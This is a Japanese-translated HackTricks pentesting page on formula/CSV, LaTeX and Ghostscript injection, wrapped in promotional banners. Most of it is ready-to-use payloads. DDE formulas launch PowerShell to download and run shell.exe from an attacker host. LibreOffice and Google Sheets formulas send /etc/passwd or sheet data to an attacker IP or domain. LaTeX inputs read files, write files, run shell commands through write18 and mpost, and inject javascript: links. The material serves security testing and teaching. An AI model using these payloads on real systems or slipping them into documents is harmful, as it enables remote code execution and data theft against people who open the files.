hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

221 lines
14 KiB
Markdown
Raw Normal View History

# Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Formula Injection
### Info
もしあなたの**入力**が**CSVファイル**(またはおそらく**Excel**で開かれる他のファイル)の中に**反映**されている場合、ユーザーが**ファイルを開く**ときや、ユーザーがExcelシート内の**リンクをクリックする**ときに**実行される**Excelの**数式**を入れることができるかもしれません。
{% hint style="danger" %}
現在、**Excelは外部から何かが読み込まれたときに**(何度も)**ユーザーに警告します**。これは、悪意のある行動を防ぐためです。したがって、最終的なペイロードにはソーシャルエンジニアリングに特別な努力が必要です。
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### ハイパーリンク
**以下の例は、最終的なExcelシートからコンテンツを抽出し、任意の場所にリクエストを送信するのに非常に便利です。しかし、リンクをクリックする必要があります警告プロンプトを受け入れる必要があります。**
以下の例は、[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) から取られました。
学生記録管理システムにおけるセキュリティ侵害がCSVインジェクション攻撃を通じて悪用されることを想像してください。攻撃者の主な意図は、教師が学生の詳細を管理するために使用するシステムを侵害することです。この方法は、攻撃者がアプリケーションに悪意のあるペイロードを注入することを含み、具体的には学生の詳細用のフィールドに有害な数式を入力します。攻撃は次のように展開されます
1. **悪意のあるペイロードの注入:**
* 攻撃者は学生詳細フォームを提出しますが、スプレッドシートで一般的に使用される数式(例:`=HYPERLINK("<malicious_link>","Click here")`)を含めます。
* この数式はハイパーリンクを作成するように設計されていますが、攻撃者が制御する悪意のあるサーバーを指しています。
2. **侵害されたデータのエクスポート:**
* 教師は侵害に気づかず、アプリケーションの機能を使用してデータをCSVファイルにエクスポートします。
* CSVファイルを開くと、依然として悪意のあるペイロードが含まれています。このペイロードはスプレッドシート内でクリック可能なハイパーリンクとして表示されます。
3. **攻撃のトリガー:**
* 教師はハイパーリンクをクリックし、それが学生の詳細の正当な部分であると信じています。
* クリックすると、機密データ(スプレッドシートや教師のコンピュータからの詳細を含む可能性があります)が攻撃者のサーバーに送信されます。
4. **データのログ記録:**
* 攻撃者のサーバーは、教師のコンピュータから送信された機密データを受信し、ログに記録します。
* 攻撃者はこのデータをさまざまな悪意のある目的に使用し、学生や機関のプライバシーとセキュリティをさらに侵害することができます。
### RCE
**詳細については、** [**元の投稿**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **を確認してください。**
特定の構成や古いバージョンのExcelでは、動的データ交換DDEと呼ばれる機能が任意のコマンドを実行するために悪用される可能性があります。これを利用するには、次の設定を有効にする必要があります
* ファイル → オプション → トラストセンター → トラストセンターの設定 → 外部コンテンツに移動し、**動的データ交換サーバーの起動**を有効にします。
悪意のあるペイロードを含むスプレッドシートが開かれると(ユーザーが警告を受け入れた場合)、ペイロードが実行されます。たとえば、計算機アプリケーションを起動するためのペイロードは次のようになります:
```markdown
=cmd|' /C calc'!xxx
```
追加のコマンドも実行できます。たとえば、PowerShellを使用してファイルをダウンロードして実行することができます
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calcはローカルファイルを読み取り、データを抽出するために使用できます。以下はいくつかの方法です
* ローカルの`/etc/passwd`ファイルから最初の行を読み取る:`='file:///etc/passwd'#$passwd.A1`
* 読み取ったデータを攻撃者が制御するサーバーに抽出する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* 複数行を抽出する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS抽出読み取ったデータを攻撃者が制御するDNSサーバーへのDNSクエリとして送信する`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google SheetsはOOBデータ抽出のために悪用できる関数を提供します
* **CONCATENATE**: 文字列を結合します - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: 構造化データタイプからデータをインポートします - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: RSSまたはATOMフィードをインポートします - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: HTMLテーブルまたはリストからデータをインポートします - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: 別のスプレッドシートからセルの範囲をインポートします - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: セルに画像を挿入します - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
## LaTeX Injection
通常、インターネット上で**LaTeXコードをPDFに変換する**サーバーは**`pdflatex`**を使用します。\
このプログラムはコマンド実行を許可するために3つの主な属性を使用します
* **`--no-shell-escape`**: `\write18{command}`構文を**無効**にします。texmf.cnfファイルで有効になっていてもです。
* **`--shell-restricted`**: `--shell-escape`と同じですが、**事前定義された**「安全な」コマンドのセットに**制限**されています(**Ubuntu 16.04ではリストは`/usr/share/texmf/web2c/texmf.cnf`にあります)。
* **`--shell-escape`**: `\write18{command}`構文を**有効**にします。コマンドは任意のシェルコマンドである可能性があります。この構文は通常、セキュリティ上の理由から許可されていません。
ただし、コマンドを実行する他の方法もあるため、RCEを避けるためには`--shell-restricted`を使用することが非常に重要です。
### Read file <a href="#read-file" id="read-file"></a>
注入を`[`や`$`のようなラッパーで調整する必要があるかもしれません。
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### 単一行ファイルを読む
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### 複数行のファイルを読む
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### ファイルを書く <a href="#write-file" id="write-file"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### コマンド実行 <a href="#command-execution" id="command-execution"></a>
コマンドの入力はstdinにリダイレクトされるので、一時ファイルを使用して取得します。
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
もしLaTexエラーが発生した場合は、悪い文字なしで結果を得るためにbase64を使用することを検討してください。
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### クロスサイトスクリプティング <a href="#cross-site-scripting" id="cross-site-scripting"></a>
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
**チェック** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## 参考文献
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
**トライハードセキュリティグループ**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}